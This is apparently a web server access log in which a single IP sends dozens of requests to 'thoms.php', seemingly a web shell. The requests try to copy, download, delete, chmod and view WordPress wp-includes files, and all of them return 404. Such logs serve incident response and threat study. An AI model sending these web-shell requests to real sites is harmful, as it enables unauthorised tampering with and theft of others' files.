45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpost-formats.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpost-formats.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?dl=class-wp-error.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ferror_log&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ferror_log&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?dl=template-canvas.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?dl=template-loader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdate.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdate.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fmeta.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fmeta.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ferror-protection.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ferror-protection.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-load.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-load.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?dl=block-editor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fhttp.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fhttp.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Flocale.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Flocale.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?dl=post-formats.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?del=class-wp-hook.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?chmod=l10n&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?del=class-pop3.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?dl=canonical.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:09 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?dl=load.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-site.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-site.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?del=post.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?del=block-patterns&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?del=theme-previews.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?dl=abilities.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-default-constants.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-default-constants.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?chmod=theme.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:10 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?chmod=template-canvas.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?del=assets&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=assets&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?chmod=compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?chmod=post-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?chmod=block-i18n.json&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?chmod=cache-compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
